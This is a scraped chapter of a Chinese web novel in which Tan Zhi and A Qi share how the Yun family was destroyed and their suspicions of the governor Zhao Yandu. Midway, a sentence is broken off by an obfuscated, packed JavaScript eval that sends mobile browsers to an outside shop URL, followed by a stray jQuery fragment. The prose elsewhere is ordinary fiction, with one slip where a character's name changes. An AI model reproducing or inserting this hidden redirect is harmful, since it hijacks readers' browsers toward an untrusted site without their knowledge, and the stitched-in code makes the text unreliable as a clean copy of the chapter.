文趣网 > 其他小说 > 表小姐是来当皇帝的 > 18. 第 18 章
    谈芷看了一眼坐在轮椅上的六姑娘,目光在她膝头那方大红缎面上停了一瞬。

    六姑娘正低着头,手指稳稳地推着针尖穿过缎面,绣的是并蒂莲的花样,一针一线细密得像是用尺子量过。

    七姑娘顺着她的目光看过去,摆了摆手:“无妨,你尽管说。这院子里没有外人。”

    谈芷将目光收回来,落在阿七那张还带着几分病容的脸上。

    “敢问姑娘是?”

    阿七靠在椅背上,手里还捏着剩下的小半个雪团。

    她没有立刻回答,而是将那半个雪团在指尖转了转,糯米皮上沾着的糖霜簌簌落下来,落在她膝头的粗布裙子上,像一小撮猝不及防的雪。

    然后她一口塞进嘴里,慢慢地嚼完,咽下去。

    她开口的时候,声音忽然变得很轻,轻到像是在说一桩和自己无关的旧事。

    “我不过是个孤女。云家学堂收留我几年,让我学了诗书道理,明白了恩情道义。”

    谈芷的心落了地。

    “我姓谈名芷。父亲姓谈名孟,是朔方郡守将。”谈芷语气坦诚,“云家和我们谈家,算是世交。早就听说云夫人有大义,开学堂收留无家孤女,我也生出过游学的心思。只是没想到……”

    “学堂已经没了。”阿七接过话,声音发硬,“云家满门抄斩,女子入贱籍。云夫人一条白绫吊死在了房梁上。”

    谈芷沉默了。窗外那棵枇杷树的叶子在风里沙沙作响,油灯的火苗跳了一下,将阿七半边脸照亮,半边脸沉在阴影里。

    “朔方被围前,我父亲曾给云伯伯去过几封信,却都没有收到回音。云家是什么时候出的事?”

    “大概两个月前。”

    她在心里把这个时间翻来覆去地掂量。

    那时朔方郡和契丹的战事还没有正式打响,但边境已经不太平了。

    契丹的游骑在关外频繁出没,商队纷纷改道,往来的信使常常被截杀在戈壁上。

    她父亲就是在那个时候开始一封接一封地往外写信,向各州求援,向节度使求援,向所有能想到的人求援。

    云家原来是在那个时候倒的。

    那些没有得到回音的信,究竟是被截在了戈壁上,还是寄到了已经人去楼空的宅邸?

    “罪名是什么?”

    阿七嘴角扯出一个嘲讽的笑。那个笑很冷,冷到和她二十岁上下的脸完全不搭。

    “贪墨军饷,通敌叛国。”

    这四个字落在安静的房间里,像是四颗钉子钉进木头。

    谈芷没有说话,但她的眉心动了一下。那个动作极细微,像是被针尖轻轻刺了一下。

    阿七笑了起来。那笑声短促而干涩,带着几分破罐破摔的快意,像是憋了太久的气终于找到了一个出口。

    “你也不信对不对?莫须有的罪名,要了云家满门的命。”

    她的语速越来越快,像是这些话在她心里沤了太久,再不倒出来就要烂掉。

    “云伯伯被拖到大堂上审了三天三夜,一个字不肯认。最后斩首。云家男丁一个没留,女子全都入了贱籍。云夫人一条白绫——一条白绫——”

    她的声音在这里忽然卡住了。像是刀刃砍到了骨节上,顿了一下。

    然后她深吸一口气,把那句话硬生生推了出去。

    “把自己吊死在了牢房房梁上。”

    她说完这些,忽然停住了。像是把攒了太久的力气一口气用光了,整个人靠回椅背上,胸膛剧烈地起伏着。

    她的手指还攥着袖口,指节泛白,指腹在手心里掐出了四道月牙形的红印。

    谈芷沉默良久。

    油灯的火焰在安静中一跳一跳地烧,将两个姑娘的影子投在斑驳的土墙上,忽长忽短,忽明忽暗。

    远处隐约传来更夫的梆子声,在深沉的夜色里飘了一下就不见了。

    她伸手拿起碟子里的雪团,举到嘴边,咬了一口。

    糯米皮在齿间破开,软糯的米香和清甜的果香在舌尖上化开。那味道穿过舌根,沿着喉咙往下走,一直走到胸腔最深的地方,在那里撞开了一扇很久没有打开过的门。

    她慢慢嚼着,像是在咀嚼某段很远很远的记忆。

    “这云樱落雪团,原本是云夫人独创。”

    她放下雪团,声音比方才轻了些,轻到像是怕惊扰了什么。

    “我小时候吃过一次,便念念不忘。”

    她低下头,看着粗瓷碟子里剩下的雪团。糖霜已经化了大半,在碟底洇出一小片湿痕。

    “后来母亲为我讨了食谱。她做的时候我常常在一边看,慢慢也就会了。母亲做的总是比云夫人差一点。但每次她做,我都吃得很干净。”

    她的嘴角浮起一个很淡很淡的笑,淡到像是月光落在水面上,风一吹就碎。

    阿七的目光落在碟子里剩下的雪团上。糖霜已经化了大半,在粗瓷碟子上洇出一小片湿痕。

    “云夫人也常常做点心给我们吃。”她说,声音忽然柔了下去,像是被什么软软的东西托住了。

    “她不藏私,每次做点心都叫我们去厨房看。她也问过我学不学,可我犯懒撒娇,说要一辈子跟着夫人,吃她做的点心。”

    她的声音在这里断了一下。再开口的时候,喉咙里像堵了什么东西。

    “却没想到,我不过离开燕绥半月,去平陇访亲,云家就……”

    “我原以为再也吃不到这道点心了。”

    她低下头,用手指轻轻碰了碰碟子里最后一只雪团。指尖沾到了一点糖霜,她没有擦。

    “雨娘也会做这道点心。她做的不太像,糯米皮总是太厚,每次端出来自己都要不好意思地笑半天。”她的声音又低又碎,像是在对着自己说话,“可是今天她也死了。”

    她抬起眼,看向谈芷。那双眼睛里没有泪,却让人觉得心口发堵。

    “却没想到,又让我遇见了你。”

    “雨娘?”谈芷问。

    “被人贩子卖进烟柳巷的可怜人。”阿七说,声音恢复了那种发硬的调子,“染了病,被丢在广福寺门口等死。云夫人去上香时,见她可怜,便收留了。”

    “她没什么本事,就会做些点心,脾性软得跟面团似的。云家出事之前,云夫人陆陆续续地把我们这些和云家牵扯不深的人支了出去。现在看来,她是早有预感。”

    阿七说起这些的时候,语速快得像倒豆子。这些话她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666368|206985||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    攒了太久,找不到人说。如今好不容易遇到一个人,一个认得云夫人,吃过云樱落雪团的人。那些话便像开了闸的水,关不住了。

    “雨娘当时去了灾县施粥,我原本盼着她能找个人家好好过日子。却没想到,没过多久,她也来了节度使后院。眼也瞎了,嗓子也哑了,好好的一个人,被折磨得像一张揉皱了的纸。如今更是连命都丢了。”

    她说完这句话,手指攥紧了袖口,指节泛白。心口的余悸和眼底的余恨混在一起,让她那张清丽的脸看起来像是暴风雨前压得极低的天空。

    谈芷没有说话。她偏过头,透过半开的房门看向正房里那盏油灯。

    六姑娘还坐在灯下,低着头,手里那根针不紧不慢地穿过缎面。

    她绣的是并蒂莲的并蒂茎,青绿色的丝线在灯下泛着柔润的光。

    她好像什么也没听见,又好像什么都听见了。

    “我有个东西想给你看。”谈芷收回目光,站起身,“随我来。”

    阿七跟着她站起来。两人一前一后走出房门,经过正房时,六姑娘抬起头看了她们一眼。

    她的目光在谈芷脸上停了一瞬,又在阿七脸上停了一瞬。

    她什么也没说,低下头继续绣那身红嫁衣。

    谈芷将阿七带回丁字院,带进自己的房间,关上了门。

    “我是谈孟的女儿。朔方郡未破,我来燕绥是来求援的。”

    阿七听到这句话,猛地抬起头。她的瞳孔剧烈地收缩了一下,嘴唇张开又合上,脸上交替闪过震惊、困惑,最后定格在一种飞快运转的了然上。

    “朔方未破……可……”

    “可我到了燕绥才发现,节度使早已上奏朝廷,称朔方已破,大战在即,要兵要粮。”谈芷的语气平静,“我舅舅是录事参军。可是郑家没人听我说话,反而想让我死。紧接着,就说节度使要收郑家女儿当义女,我就被送了进来。”

    阿九惊骇交加。她后退了一步,腿撞在床沿上,整个人跌坐在榻边。

    她看着谈芷,看着面前这个比她还要小一两岁的姑娘,意识到眼前这个人身上背着的事,可能要比她的沉重一百倍。

    “赵延度究竟想干什么。”她的声音压得极低,像是在说一个不能让别人听见的禁-忌。

    谈芷沉默地看了她一会儿。

    “七姑娘,你和那位雨娘,又是如何入府的?”

    “雨娘我也不清楚。她入府的时候已经瞎了哑了,再也没有办法和我说一句话。”她的声音闷闷的,“我是在街上卖画时,被惠嬷嬷带回来的。”

    “卖画?”谈芷的目光落在她脸上,“你既然可以自己谋生,为何要进节度使府这龙潭虎穴?”

    阿七抬起眼。那双眼睛里又涌起一种深沉的恨意。

    “参云家通敌的奏疏,正是赵延度上的。”

    这句话落在安静的房间里,连窗外的风声都静了一瞬。

    谈芷坐在那里,一动不动地看着阿七。两个年纪相仿的姑娘隔着一张窄窄的木桌,看向自己的同路人。

    她们的身世不同,来路不同,可她们站在同一条岔路口上,身后是同一种被碾碎过的人生,面前是同一条看不见尽头的暗路。